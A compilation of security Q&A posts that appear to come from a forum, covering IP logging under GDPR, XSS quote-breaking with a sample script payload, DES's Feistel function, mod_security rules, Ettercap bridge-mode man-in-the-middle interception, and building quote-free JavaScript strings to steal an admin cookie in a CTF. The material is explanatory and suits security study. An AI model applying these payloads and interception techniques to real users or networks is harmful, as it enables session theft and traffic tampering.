I am not a lawyer, but in sysadmin circles, it seems that protecting your service or a third party from fraud or security violations are legitimate reasons to log an IP address, and thus are legal under GDPR.


XSS - Quote Breaking First of all i don't know if this question already mention here, believe me i search already.

so i was trying to break string inside single and double quote of attr below;

onclick="window.location='{$url4stat}en'"

now lets say the webapps urls like http://example.com/index/

i was able to inject random param after the /index/ path which is /index/?rand=123 and was included in respond boby such; onclick="window.location='/index/?rand=123&stat=en'"

so i though it might work somehow putting a double quote " and see if the html respond body breaks. turns out it gets encoded %22 onclick="window.location='/index/?rand=%22&stat=en so putting lazy "><script>alert(1)</script> payload will useless ( i've tried )

But, using burpsuite i was able to edit the encoded request before being send to webserver, when open the respond body in browser the alert just pop! is this means that it's prone to XSS ? if so, my question is it possible to bypass this? i already try double encode, using hex, %23x, and many other payload but nothing's work. turns out double encode payload will stay, if i put %2522 the respond body becomes onclick="window.location='/index/?rand=%2522&stat=en nothing change, same with other payload. it looks like only a few char such ", ', >, <, will be encoded. if i ran into IE Browser, the payloads work. only Chrome,FF, have not yet tried on Opera and Safari.

Will appreciate any suggestion,technique,payloads.

Sounds like it is vulnerable, and you have hit the anti-XSS filter in modern browsers.

For testing I suggest you disable the filter.

When reporting these issues to clients, I take the line that you can't be sure whether a user will have such a browser, and report anyway. That has been ok so far, although I can see in the future I will need to distinguish between XSS that is exploitable through the filter (high risk) and other XSS (should still be fixed, but lower risk).


Is the DES "mangler" function invertible? The DES symmetric cipher is based on a Feistel network operating repeated on 32-bit halves of the 64-bit block. The usage of Feistel means that the "mangler" function used does not need to be invertible.

The "mangler" function operates by expanding a 32-bit word to 48-bits via a simple algorithm. This 48 bits is the combined with a key and then converted back to 32-bits via S-boxes. The S-boxes obviously are not invertible, because they take a 6-bit input and produce a 4-bit output.

But is the entire construction invertible. Assuming the key is fixed, does each 32-bit input to the "mangler" function map to a distinct 32-bit output? Or are some 32-bit outputs never produced by the mangler function hence making it non-invertible?

No, it is not invertible.  It is possible to find two 32-bit inputs that, when fed to the DES "mangler" function, both produce the same 32-bit output.  This is one of the benefits of the Feistel structure: the "mangler" function does not need to be invertible, and we still end up with an invertible block cipher.

In fact, Biham and Shamir's famous differential cryptanalysis attack on DES makes important use of this fact.  They take advantage of the fact that, when a pair of 32-bit inputs satisfy a certain relationship, then they often produce the same output after applying the "mangler" function.  This enables them to find a differential characteristic with relatively high probability, which lets them attack DES.  The differential cryptanalytic attack on DES is not really practical, but it was a tremendous advance in the science of cryptanalysis and block cipher design.

P.S. By the way, I've never heard a cryptographer call this function a "mangler" function.  I've typically heard it called a Feistel F function.  So, if you walk up to a cryptographer and ask them about the DES "mangler" function, they might give you a funny look; now you know how to talk their language.


Exclude file names from mod_security patterns I have a question regarding mod_security. I have installed mod_security on my server and OWASP core rule set. However, now people are having trouble when accessing my page.

For example, one problem is that images are not displayed because they're raising a mod_security patterns. So my question is, Can I somehow disable mod_security patterns for file names?

As Mark Hillick said, we'd have to see the mod_security audit logs to answer this. The logs will show just which OWASP rules are being matched. You could then read the documentation for the rule(s) here. Or you could post a couple of examples of the logs here, showing the specific matches. Then we could better help sort this out with you.


How can Ettercap act as a client instead of a gateway? I am trying to execute an attack that requires a full-duplex MiTM position. This is the reason why I choose to use Ettercap. I have picked DHCP spoofing as the attack of choice.

The problem that I am facing is that Ettercap executes the attack as half-duplex, meaning that I can only intercept messages coming from the client. I also want to intercept the messages coming the other way i.e. I need a full-duplex MiTM.

From what I understand, Ettercap acts as a gateway router in this scenario. The client thinks that I am the gateway so it sends me a request whose destination is not on the subnetwork, expecting that I will forward the layer 3 packet appropriately. Ettercap does this. However, when the response is received by the actual gateway router, it sends it immediately to the client (victim) because that is where the request packet originated from (source IP). This is shown in Figure 1.

What I basically want is to stop Ettercap from doing anything after the initial DHCP spoofing attack. Then I will add my own script that will make the same request as the client did, effectively acting like a forward proxy. This way, when the response is received by the actual gateway router, it will be sent to me. Then I can change things as I like and forward the changed response to the client. This is shown in Figure 2.

I hope that everyone understands what I meant to say. Does anyone know how this can be achieved?

Thank you! Cheers.

So running a command like

ettercap -T -q -B <iface1> -i <iface2> //

will go into "full duplex" bridge mode where if you broke the link between two machines completely and plugged them into iface 1 and 2 the two machines would be able to talk to eachother just as before.
However there is no mac spoofing so make sure if your using a switch or router it allows promiscuous traffic. You also need to make sure there is no direct connection between the gateway router and the client. from there you can do various things with filters. Though I havn't had much success with filters in bridge mode and wrote a plugin. You can alter any bytes you want and just set

po->flags |= PO_MODIFIED;

and the modified packet will go out the other interface.


How Create string in Java Script without single or double quote? I participate in a CTF and I had to steal Admin's cookies. And quotes (single and double) were encoded.

I needed to use document.location=URL for steal cookie, but I can't pass URL using quotes.

So I thought I could just create all (document.location=URL) using a base64 and can pass in eval to execute. But problem is base64 decoding

atob(string)

also needs quotes for pass base64 string.

And then I thought I can use int ascii values and then convert into char and then append all to a string. Still problem here because I can't even create a empty string without quotes.

So I don't know if this is possible or not, But can we create a string just using Java Script(Without using of quotes);

Or there was any other way to steal cookie without passing URL in document.location or img tag?

Feel free to edit question.

The simplest way to make a string without quotes would be from their char codes:

String.fromCharCode(104,101,108,108,111); // "hello"

If backticks are allowed, you could also use ES6 template strings:

`hello`; // "hello"

Another way might be to assemble the string from other strings in the environment.